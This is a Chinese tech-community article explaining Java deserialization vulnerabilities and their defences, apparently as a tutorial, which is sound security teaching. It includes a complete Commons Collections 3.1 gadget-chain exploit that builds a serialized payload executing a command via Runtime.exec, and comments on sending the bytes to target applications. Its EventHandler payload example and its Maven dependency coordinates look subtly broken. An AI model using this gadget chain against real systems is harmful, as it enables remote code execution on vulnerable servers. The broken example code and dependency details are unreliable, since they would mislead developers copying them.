MK
摩柯社区 - 一个极简的技术知识社区
AI 面试

Java反序列化的风险与缓解措施

2021-05-183.2k 阅读

Java 反序列化基础

在深入探讨 Java 反序列化的风险与缓解措施之前,我们先来回顾一下 Java 反序列化的基础概念。

Java 序列化是将对象转换为字节流的过程,以便在网络上传输或保存到文件中。而反序列化则是将字节流重新转换回对象的过程。这一机制在分布式系统、对象持久化等场景中有着广泛的应用。

序列化与反序列化的实现

在 Java 中,一个类要支持序列化,需要实现 java.io.Serializable 接口。这个接口是一个标记接口,没有任何方法。例如:

import java.io.Serializable;

public class User implements Serializable {
    private String name;
    private int age;

    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }
}

上述 User 类实现了 Serializable 接口,就具备了序列化的能力。

进行序列化操作时,通常使用 ObjectOutputStream 类。如下代码展示了如何将 User 对象序列化到文件:

import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;

public class SerializeExample {
    public static void main(String[] args) {
        User user = new User("Alice", 30);
        try (ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("user.ser"))) {
            oos.writeObject(user);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

反序列化操作则使用 ObjectInputStream 类。下面代码从文件中读取并反序列化 User 对象:

import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class DeserializeExample {
    public static void main(String[] args) {
        try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream("user.ser"))) {
            User user = (User) ois.readObject();
            System.out.println("Name: " + user.getName() + ", Age: " + user.getAge());
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

Java 反序列化的风险

虽然 Java 反序列化机制提供了很大的便利,但它也带来了严重的安全风险。其中最主要的风险是反序列化漏洞,恶意攻击者可以利用这些漏洞执行任意代码。

利用可利用的类和方法

在 Java 反序列化过程中,如果应用程序反序列化了来自不可信源的数据,并且在反序列化过程中调用了某些可利用的类和方法,就可能导致任意代码执行。例如,java.beans.EventHandler 类在早期版本中存在安全隐患。

假设我们有如下恶意构造的字节流,模拟从不可信源获取的数据:

import java.beans.EventHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;

public class MaliciousSerialization {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        // 构造恶意的 EventHandler 对象,这里以执行 "calc.exe" 为例(在 Windows 系统下)
        Constructor<EventHandler> constructor = EventHandler.class.getDeclaredConstructor(Class.class, String.class, Object.class, String.class);
        constructor.setAccessible(true);
        EventHandler eventHandler = constructor.newInstance(Runtime.class, "getRuntime", null, "exec");
        Object[] argsArray = new Object[]{"calc.exe"};

        // 将恶意对象序列化到字节数组
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(eventHandler);
        oos.close();

        byte[] maliciousBytes = bos.toByteArray();
        // 这里恶意字节数组可以通过网络等方式发送给目标应用进行反序列化攻击
    }
}

如果目标应用反序列化了上述恶意字节流,就会执行 Runtime.getRuntime().exec("calc.exe"),在 Windows 系统下弹出计算器,更严重的是攻击者可以替换为执行恶意命令,如窃取文件、远程控制等。

依赖库的漏洞

很多 Java 应用依赖第三方库,而这些库如果存在反序列化漏洞,也会使应用面临风险。例如,著名的 Apache Commons Collections 库在早期版本中存在多个反序列化漏洞。

以 Commons Collections 3.1 版本中的 TransformedMap 类为例,恶意攻击者可以构造如下恶意代码:

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
import java.util.Map;

public class CommonsCollectionsExploit {
    public static void main(String[] args) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        // 构造恶意的 Transformer 链
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})
        };
        Transformer transformerChain = new ChainedTransformer(transformers);

        // 创建恶意的 TransformedMap
        Map innerMap = new HashMap();
        innerMap.put("key", "value");
        Map transformedMap = TransformedMap.decorate(innerMap, null, transformerChain);

        // 构造恶意的 AnnotationInvocationHandler 对象
        Constructor constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        Object annotationInvocationHandler = constructor.newInstance(Override.class, transformedMap);

        // 将恶意对象序列化到字节数组
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);
        oos.writeObject(annotationInvocationHandler);
        oos.close();

        byte[] maliciousBytes = bos.toByteArray();
        // 这里恶意字节数组可以通过网络等方式发送给依赖 Commons Collections 3.1 的目标应用进行反序列化攻击
    }
}

当依赖 Commons Collections 3.1 且对来自不可信源的数据进行反序列化的应用接收到上述恶意字节流时,就会触发漏洞,执行恶意命令。

反序列化过程中的安全隐患

Java 反序列化过程本身也存在一些安全隐患。在反序列化时,对象的构造函数不会被调用,而是通过 ObjectInputStream 直接创建对象并恢复其状态。这就绕过了正常的对象初始化逻辑,使得攻击者可以构造出处于异常状态的对象,从而引发安全问题。

例如,考虑一个具有特定业务逻辑初始化的类:

public class SecureClass {
    private String secret;

    public SecureClass() {
        // 初始化时设置一个安全的默认值
        secret = "default_secret";
    }

    public void setSecret(String secret) {
        // 这里有业务逻辑检查,例如检查是否为合法的密钥格式等
        if (secret.matches("^[a-zA-Z0-9]{16}$")) {
            this.secret = secret;
        }
    }

    public String getSecret() {
        return secret;
    }
}

正常情况下,通过构造函数或 setSecret 方法设置 secret 会经过业务逻辑检查。但在反序列化时,如果攻击者能够构造恶意字节流直接设置 secret 字段的值,就可以绕过这些检查,获取或修改敏感信息。

缓解 Java 反序列化风险的措施

为了应对 Java 反序列化带来的风险,开发者可以采取多种缓解措施。

输入验证

对反序列化的输入进行严格验证是至关重要的。只接受来自可信源的数据,并验证数据的格式和内容。

例如,可以在反序列化之前对输入的字节流进行校验,确保其符合预期的格式。一种简单的方式是检查字节流的起始部分是否为合法的 Java 序列化流标记。Java 序列化流的前两个字节是固定的魔数 0xACED。以下代码展示了如何进行这样的简单校验:

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class InputValidationExample {
    public static void main(String[] args) {
        byte[] data = getSerializedData(); // 假设从某个地方获取到序列化数据
        if (data.length >= 2 && data[0] == (byte) 0xAC && data[1] == (byte) 0xED) {
            try (ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(data))) {
                Object obj = ois.readObject();
                // 进一步检查反序列化后的对象类型等
                if (obj instanceof User) {
                    User user = (User) obj;
                    System.out.println("Valid user object: " + user.getName() + ", " + user.getAge());
                } else {
                    System.out.println("Unexpected object type");
                }
            } catch (IOException | ClassNotFoundException e) {
                e.printStackTrace();
            }
        } else {
            System.out.println("Invalid serialized data");
        }
    }

    private static byte[] getSerializedData() {
        // 这里模拟返回一些序列化数据,实际应用中应从真实数据源获取
        // 例如从文件、网络等
        return new byte[]{};
    }
}

同时,对于反序列化后的对象,也需要进行类型和内容的检查。确保对象的类型是预期的,并且对象的属性值符合业务逻辑的要求。

白名单机制

使用白名单机制来限制可以反序列化的类。只允许特定的、安全的类进行反序列化,拒绝其他所有类。

可以通过自定义 ObjectInputStream 的子类,并覆盖 resolveClass 方法来实现白名单机制。如下代码示例:

import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.io.ObjectStreamClass;

public class WhitelistedObjectInputStream extends ObjectInputStream {
    private static final Class<?>[] WHITELISTED_CLASSES = {User.class};

    public WhitelistedObjectInputStream(InputStream in) throws IOException {
        super(in);
    }

    @Override
    protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException {
        for (Class<?> whitelistedClass : WHITELISTED_CLASSES) {
            if (whitelistedClass.getName().equals(desc.getName())) {
                return super.resolveClass(desc);
            }
        }
        throw new IOException("Class not allowed for deserialization: " + desc.getName());
    }
}

在反序列化时,使用这个自定义的 ObjectInputStream

import java.io.FileInputStream;
import java.io.IOException;

public class WhitelistDeserializationExample {
    public static void main(String[] args) {
        try (WhitelistedObjectInputStream ois = new WhitelistedObjectInputStream(new FileInputStream("user.ser"))) {
            User user = (User) ois.readObject();
            System.out.println("Deserialized user: " + user.getName() + ", " + user.getAge());
        } catch (IOException | ClassNotFoundException e) {
            e.printStackTrace();
        }
    }
}

这样,如果尝试反序列化不在白名单中的类,就会抛出异常,从而阻止潜在的攻击。

更新依赖库

及时更新应用所依赖的第三方库到最新版本。库的开发者通常会修复已知的反序列化漏洞。

例如,对于 Apache Commons Collections 库,如果应用使用的是存在漏洞的早期版本,应尽快升级到没有该漏洞的版本。在 pom.xml 文件(如果使用 Maven 管理依赖)中,将依赖版本更新为安全版本:

<dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections</artifactId>
    <version>4.4</version> <!-- 假设 4.4 版本已修复相关漏洞 -->
</dependency>

在升级依赖库时,要注意进行充分的测试,确保新版本不会引入其他兼容性问题或影响应用的正常功能。

安全编码实践

遵循安全编码实践可以减少反序列化风险。例如,避免在反序列化过程中调用不可信的方法或执行敏感操作。

对于实现了 Serializable 接口的类,谨慎编写 readObject 方法。如果必须实现 readObject 方法,要确保其中的逻辑是安全的,不执行任何可能被恶意利用的操作。如下是一个安全的 readObject 方法示例:

import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SecureUser implements Serializable {
    private String name;
    private int age;

    public SecureUser(String name, int age) {
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public int getAge() {
        return age;
    }

    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        // 先调用默认的反序列化方法
        ois.defaultReadObject();
        // 对反序列化后的对象状态进行检查
        if (name == null || name.isEmpty()) {
            throw new IOException("Invalid name during deserialization");
        }
        if (age < 0 || age > 120) {
            throw new IOException("Invalid age during deserialization");
        }
    }
}

这样在反序列化过程中,会对对象的状态进行检查,确保其符合业务逻辑的要求,防止恶意构造的对象破坏应用的安全性。

运行时防护

在运行时可以采用一些防护机制来检测和阻止反序列化攻击。例如,使用字节码增强技术,在应用运行时对反序列化相关的代码进行监控和拦截。

AspectJ 是一个常用的字节码增强框架,可以通过编写切面来监控反序列化操作。如下是一个简单的 AspectJ 切面示例,用于在反序列化操作前后记录日志:

import org.aspectj.lang.ProceedingJoinPoint;
import org.aspectj.lang.annotation.Around;
import org.aspectj.lang.annotation.Aspect;

@Aspect
public class DeserializationAspect {
    @Around("execution(* java.io.ObjectInputStream.readObject(..))")
    public Object monitorDeserialization(ProceedingJoinPoint joinPoint) throws Throwable {
        System.out.println("Before deserialization");
        Object result = joinPoint.proceed();
        System.out.println("After deserialization");
        return result;
    }
}

在实际应用中,可以在切面中添加更复杂的逻辑,如检测异常的反序列化行为、记录详细的反序列化信息等,以便及时发现和应对反序列化攻击。同时,也可以结合入侵检测系统(IDS)或入侵防范系统(IPS),对反序列化相关的网络流量进行监控和防护,阻止恶意的反序列化数据进入应用系统。

通过综合运用上述缓解措施,可以有效降低 Java 反序列化带来的风险,提高应用程序的安全性。但需要注意的是,安全是一个持续的过程,开发者应时刻关注新出现的安全漏洞和威胁,及时调整和完善安全策略。